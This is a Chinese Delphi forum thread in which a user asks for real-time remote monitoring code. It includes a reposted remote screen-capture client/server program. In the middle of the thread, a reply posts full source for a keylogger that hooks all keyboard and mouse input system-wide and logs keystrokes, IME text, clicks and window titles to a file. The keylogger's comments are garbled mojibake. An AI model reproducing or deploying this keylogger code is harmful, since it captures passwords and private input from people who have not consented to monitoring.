紧急求助关于实时监视的问题,送200分(200分)

  • 主题发起人 主题发起人 jdmyy
  • 开始时间 开始时间
J

jdmyy

Unregistered / Unconfirmed
GUEST, unregistred user!
我最近做一个“远程监控”的程序,上面要求能实时监控,可是我只会抓图。谁有着方面资料或源代码的帮帮忙!谢谢了,救急呀!
 
for(;;)
{
capture();
send();
}

 
一个例子(转载的)

标 题: DELPHI:实现远程屏幕抓取(1)
发信站: 网易虚拟社区北京站 (Thu Jan 6 09:37:00 2000), 站内信件
  ----在网络管理中,有时需要通过监视远程计算机屏幕来了解网
上微机的使用情况。虽然,市面上有很多软件可以实现该功能,有些
甚至可以进行远程控制,但在使用上缺乏灵活性,如无法指定远程计
算机屏幕区域的大小和位置,进而无法在一屏上同时监视多个屏幕。
其实,可以用Delphi自行编制一个灵活的远程屏幕抓取工具,简述如
下。
  ----一、软硬件要求。
  ---- Windows95/98对等网,用来监视的计算机(以下简称主控
机)和被监视的计算机(以下简称受控机)都必须装有TCP/IP协议,
并正确配置。如没有网络,也可以在一台计算机上进行调试。
  ----二、实现方法。
  ----编制两个应用程序,一个为VClient.exe,装在受控机上,
另一个为VServer.exe,装在主控机上。VServer.exe指定要监视的受
控机的IP地址和将要在受控机屏幕上抓取区域的大小和位置,并发出
屏幕抓取指令给VClient.exe,VClient.exe得到指令后,在受控机屏
幕上选取指定区域,生成数据流,将其发回主控机,并在主控机上显
示出抓取区域的BMP图象。由以上过程可以看出,该方法的关键有二
:一是如何在受控机上进行屏幕抓取,二是如何通过TCP/IP协议在两
台计算机中传输数据。
  ---- UDP(User Datagram Protocol,意为用户报文协议)是
Internet上广泛采用的通信协议之一。与TCP协议不同,它是一种非连
接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,
用于远程屏幕监视还是比较适合的。同时,UDP控件不区分服务器端和
客户端,只区分发送端和接收端,编程上较为简单,故选用UDP协议,
使用Delphi 4.0提供的TNMUDP控件。
  ----三、创建演示程序。
  ----第一步,编制VClient.exe文件。新建Delphi工程,将默认
窗体的Name属性设为“Client”。加入TNMUDP控件,Name属性设为
“CUDP”;LocalPort属性设为“1111”,让控件CUDP监视受控机的
1111端口,当有数据发送到该口时,触发控件CUDP的OnDataReceived
事件;RemotePort属性设为“2222”,当控件CUDP发送数据时,将数
据发到主控机的2222口。
---- 在implementation后面加入变量定义
const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 发送每一笔数据后剩余的字节数 }
为Client的OnCreate事件添加代码:
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;
为Client的OnDestroy事件添加代码:
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;
为控件CUDP的OnDataReceived事件添加代码:
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]
='show' then
begin { 控制码前4位为“show”表示主控机发出了抓屏指令 }
if BmpStream.Size=0 then { 没有数据可发,必须截屏生成数据 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)
-Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-
Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr
)+1,Length(TmpStr)-Pos(':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); {
截取屏幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP为主控机IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机的2222口 }
end;
end;
其中ScreenCap是自定义函数,截取屏幕指定区域,
代码如下:
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存为“C:VClientClnUnit.pas”和“C:VClientVClient.dpr”,
并编译。
  ----第二步,编制VServer.exe文件。新建Delphi工程,将窗体
的Name属性设为“Server”。加入TNMUDP控件,Name属性设为
“SUDP”;LocalPort属性设为“2222”,让控件SUDP监视主控机的
2222端口,当有数据发送到该口时,触发控件SUDP的OnDataReceived
事件;RemotePort属性设为“1111”,当控件SUDP发送数据时,将数
据发到受控机的1111口。加入控件Image1,Align属性设为
“alClient”;加入控件Button1,Caption属性设为“截屏”;加入
控件Label1,Caption属性设为“左:上:右:下”;加入控件Edit1,
Text属性设为“0:0:100:100”;加入控件Label2,Caption属性设为
“受控机IP地址”;加入控件Edit2,Text属性设为“127.0.0.1”;
在implementation后面加入变量定义
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;
为Server的OnCreate事件添加代码:
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;
为Client的OnDestroy事件添加代码:
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;
为控件Button1的OnClick事件添加代码:
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
为控件SUDP的OnDataReceived事件添加代码:
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { 数据已读完 }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;
存为“C:VServerSvrUnit.pas”和“C:VServerVServer.dpr”,并
编译。
----四、测试。
  ---- 1、本地机测试:在本地机同时运行Vserver.exe和
VClient.exe,利用程序的默认设置,即可实现截屏。查看“控制面板”
-“网络”-“TCP/IP”-“IP地址”,将程序的“客户IP地址”设为该
地址,同样正常运行。
  ---- 2、远程测试:选一台受控机,运行VClient.exe;另选一
台主控机,运行VServer.exe,将“受控机IP地址”即Edit2的内容设
为受控机的IP地址,“截屏”即可。以上简要介绍了远程屏幕抓取的
实现方法,至于在主控机上一屏同时监视多个受控机,读者可自行完
善。以上程序,在Windows98对等网、Delphi 4.0下调试通过。
 
lianyfan兄弟,我水平有限,不太明白你写的东西。
yostgxf写的我到是知道,不过我自己已经能做到远程抓图了。我现在需要的是实时监控,要求能像在受控机屏幕前一样看到受控机屏幕上的画面的变动,我曾经想过不停的抓图,使得画面动起来,最终还是不现实。
我想机器屏幕上显示的东西是和内存的一部分对应的。当屏幕上的内容变动时,对应的内存会产生变动,如果我能监视这一部分内存,它的数据量小,传输不会太困难,应该能实现。不知道我的想法对不对。希望知道哪位高手能给我点指点。
 
晕.用那么多干什么,直接在网上载VNC就可以,有ACTIVEX可以导入,不要想太多,直接调用人家的,而且人家有完整的源码,速度比你的快得多,而且比PCANYWHERE的体积少,运行速度快.
 
哪里有下的?我试试。或者直接发到我邮箱jdmyy@tom.com
 
实时监控键盘,鼠标位置
unit unitFunction;

interface
uses Windows,Messages, SysUtils,TLHelp32;

const
KeyMask = $80000000;

var
HHGetMsgProc:HHook;
HHExtendKeyProc:HHook;
HHCallWndProc:HHook;
LastFocusWnd: HWnd = 0;
FocusWnd:HWnd;
PID:HWnd;
LastIsMouse:Integer;
PrvChar: Char;
procedure stop;stdcall;
procedure run;stdcall;


implementation

//&amp;Icirc;&amp;Auml;&amp;frac14;&amp;thorn;&amp;acute;&amp;aelig;&amp;acute;&amp;cent;
procedure SaveInfo(str:string;Index:Integer);stdcall;
var
CurLogFile:textfile;
begin
assignfile(CurLogFile,'c:/key.txt');
if fileexists('c:/key.txt')=false then
rewrite(CurLogFile)
else
append(CurLogFile);
write(CurLogFile,str);
if Index=1 then
writeln(CurLogFile,'') ;
closefile(CurLogFile);
end;
//&amp;Egrave;&amp;iexcl;&amp;micro;&amp;Atilde;&amp;frac12;&amp;oslash;&amp;sup3;&amp;Igrave;&amp;iquest;ì&amp;Otilde;&amp;Otilde;
function GetAllProcess(pid:DWORD):String;
var
pProcessID :DWORD;
ContinueLoop : BOOL;
FSnapshotHandle : THandle;
FProcessEntry32 : TProcessEntry32;
pExeFile : string;

begin
result:='';
FSnapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
ContinueLoop:=Process32First(FSnapshotHandle,FProcessEntry32);
while ContinueLoop do begin
pExeFile := FProcessEntry32.szExeFile; //&amp;frac12;&amp;oslash;&amp;sup3;&amp;Igrave;&amp;Icirc;&amp;Auml;&amp;frac14;&amp;thorn;&amp;Atilde;&amp;ucirc;
pProcessID := FProcessEntry32.th32ProcessID; //&amp;frac12;&amp;oslash;&amp;sup3;&amp;Igrave;ID
if pProcessID=pid then
break;
ContinueLoop:=Process32Next(FSnapshotHandle,FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
result:=pExeFile;
end;
//&amp;ETH;&amp;acute;&amp;micro;±&amp;Ccedil;°&amp;acute;°&amp;iquest;&amp;Uacute;±ê&amp;Igrave;&amp;acirc;
function WriteTitle():Boolean;
var
Time:String ;
ExeFileNames: STring;
Title: array[0..255] of Char;
begin
Result:=FALSE;
FocusWnd:=GetActiveWindow;
if LastFocusWnd <> FocusWnd then
begin
LastFocusWnd := FocusWnd;
GetWindowThreadProcessID(FocusWnd,@PID);
ExeFileNames:=GetAllProcess(PID);
if (upperCase(ExeFileNames))='EXAMPRJ.EXE' then
begin
LastIsMouse:=1;
Result:=true;
exit;
end;
try
GetWindowText(FocusWnd, Title, 256);
except
exit;
end;
if(Title='') then
exit;
Time := DateTimeToStr(Now);
SaveInfo('',1);
SaveInfo('App:'+ExeFileNames,1);
SaveInfo('Time:'+Time,1);
SaveInfo( 'Title:'+Format('&amp;iexcl;&amp;para;%s&amp;iexcl;·', [Title]),1);
LastIsMouse:=0;
end;
Result:=true;
end;
function Keyhookresult(lP: integer; wP: integer): pchar;
begin
result := '';
case lp of
10688: result := '`';
561: Result := '1';
818: result := '2';
1075: result := '3';
1332: result := '4';
1589: result := '5';
1846: result := '6';
2103: result := '7';
2360: result := '8';
2617: result := '9';
2864: result := '0';
3261: result := '-';
3515: result := '=';
4177: result := 'Q';
4439: result := 'W';
4677: result := 'E';
4946: result := 'R';
5204: result := 'T';
5465: result := 'Y';
5717: result := 'U';
5961: result := 'I';
6223: result := 'O';
6480: result := 'P';
6875: result := '[';
7133: result := ']';
11228: result := '/';
7745: result := 'A';
8019: result := 'S';
8260: result := 'D';
8518: result := 'F';
8775: result := 'G';
9032: result := 'H';
9290: result := 'J';
9547: result := 'K';
9804: result := 'L';
10170: result := ';';
10462: result := '''';
11354: result := 'Z';
11608: result := 'X';
11843: result := 'C';
12118: result := 'V';
12354: result := 'B';
12622: result := 'N';
12877: result := 'M';
13244: result := ',';
13502: result := '.';
13759: result := '/';
13840: result := '[Right-Shift]';
14624: result := '[Space]';
283: result := '[Esc]';
15216: result := '[F1]';
15473: result := '[F2]';
15730: result := '[F3]';
15987: result := '[F4]';
16244: result := '[F5]';
16501: result := '[F6]';
16758: result := '[F7]';
17015: result := '[F8]';
17272: result := '[F9]';
17529: result := '[F10]';
22394: result := '[F11]';
22651: result := '[F12]';
10768: Result := '[Left-Shift]';
14868: result := '[CapsLock]';
3592: result := '[Backspace]';
3849: result := '[Tab]';
7441:
if wp > 30000 then
result := '[Right-Ctrl]'
else
result := '[Left-Ctrl]';
13679: result := '[Num /]';
17808: result := '[NumLock]';
300: result := '[Print Screen]';
18065: result := '[Scroll Lock]';
17683: result := '[Pause]';
21088: result := '[Num0]';
21358: result := '[Num.]';
20321: result := '[Num1]';
20578: result := '[Num2]';
20835: result := '[Num3]';
19300: result := '[Num4]';
19557: result := '[Num5]';
19814: result := '[Num6]';
18279: result := '[Num7]';
18536: result := '[Num8]';
18793: result := '[Num9]';
19468: result := '[*5*]';
14186: result := '[Num *]';
19053: result := '[Num -]';
20075: result := '[Num +]';
21037: result := '[Insert]';
21294: result := '[Delete]';
18212: result := '[Home]';
20259: result := '[End]';
18721: result := '[PageUp]';
20770: result := '[PageDown]';
18470: result := '[UP]';
20520: result := '[DOWN]';
19237: result := '
';
19751: result := '
';
7181: result := '[Enter]';
else
Result:='';
end;
end;

//&amp;sup1;&amp;laquo;&amp;sup1;&amp;sup2;&amp;sup1;&amp;sup3;×&amp;Oacute;&amp;ordm;&amp;macr;&amp;Ecirc;&amp;yacute;
procedure HookProc(OldLparam:LPARAM;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
var
ExtendStr:String;
begin
if (uMessage=WM_IME_CHAR) then
begin
if WriteTitle() then
SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]),0);
exit;
end;
end;
//&amp;Iuml;&amp;ucirc;&amp;Iuml;&amp;cent;&amp;sup1;&amp;sup3;×&amp;Oacute;&amp;frac12;&amp;Oslash;&amp;raquo;&amp;ntilde;&amp;frac14;ü&amp;Aring;&amp;Igrave;&amp;Ecirc;&amp;auml;&amp;Egrave;&amp;euml;
function LogProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
CurResult:String;
ExtendStr:String;
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then
CurResult :=Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);
if CurResult<>'' then
begin
if WriteTitle() then
begin
SaveInfo(CurResult,0);
end;
end;
if (peventmsg(lparam)^.message = WM_LBUTTONDOWN) or (peventmsg(lparam)^.message = WM_RBUTTONDOWN) then
begin
if WriteTitle() then
begin
if(LastIsMouse=0) then
begin
if peventmsg(lparam)^.message = WM_LBUTTONDOWN then
ExtendStr := ' LB at: '
else
ExtendStr := ' RB at: ';
ExtendStr:=ExtendStr + Format('x:%d,y:%d', [peventmsg(lparam)^.paramL,peventmsg(lparam)^.paramH]);
SaveInfo(ExtendStr,0);
LastIsMouse:=1;
end;
end;
end;
Result:=CallNextHookEx(HHExtendKeyProc,nCode,wParam,lParam);

end;

//&amp;acute;°&amp;iquest;&amp;Uacute;&amp;Iuml;&amp;ucirc;&amp;Iuml;&amp;cent;&amp;sup1;&amp;sup3;×&amp;Oacute;&amp;frac12;&amp;Oslash;&amp;raquo;&amp;ntilde;&amp;ordm;&amp;ordm;×&amp;Ouml;&amp;Ecirc;&amp;auml;&amp;Egrave;&amp;euml;
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(lParam,uMsg,wp,lp);
end;
Result:=CallNextHookEx(HHCallWndProc,nCode,wParam,lParam);
end;
//&amp;AElig;&amp;ocirc;&amp;para;&amp;macr;&amp;Iacute;&amp;pound;&amp;Ouml;&amp;sup1;&amp;sup1;&amp;sup3;×&amp;Oacute;
procedure SetHook(fSet:boolean);
begin
if fSet=true then
begin
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then
UnhookWindowsHookEx(HHGetMsgProc);
end;
if HHExtendKeyProc=0 then
begin
HHExtendKeyProc:=SetWindowsHookEx(WH_JOURNALRECORD,@LogProc,hinstance,0);
end;
end
else
begin
if HHCallWndProc<>0 then
if HHExtendKeyProc<>0 then
UnhookWindowsHookEx(HHExtendKeyProc);
HHCallWndProc:=0;
HHExtendKeyProc:=0;
end;
end;
// &amp;Iacute;&amp;pound;&amp;Ouml;&amp;sup1;
procedure stop;stdcall;
begin
SetHook(False);
end;
//&amp;iquest;&amp;ordf;&amp;Ecirc;&amp;frac14;
procedure run;stdcall;
var
CurLogFile:TextFile;
begin
assignfile(CurLogFile,'c:/key.txt');
rewrite(CurLogFile);
closefile(CurLogFile);
SetHook(true);
end;

end.
 
[:(]我想要的是屏幕的适时监控噎[:(]
 
以前有个人跟陈经涛的问题就是要一个屏幕传输压缩的代码,找找看,还有没有,torry上的,嗯,还有netspy源代码也可以去new.playicq.com下载里面有屏幕传输监控部分
 
这个网站我早就知道了,可惜我只是普通会员,我要用的代码几乎没有可以下的[:(]
http://www.torry.net是英文网站,我的英文实在不怎样呀[:(]有看,没懂[:(]
 
呵呵,加我QQ吧,我发给你一个.

16970995
 
如果实时监控,很容易就把客户端的机子给当机了...
 
不管会不会死机了,我只要代码,时间不多了哦,要帮忙的快呀[:(]
 
接受答案
有谁还有好的资料希望能继续提供[:D]谢谢!
 

Similar threads

S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
D
回复
0
查看
2K
DelphiTeacher的专栏
D
后退
顶部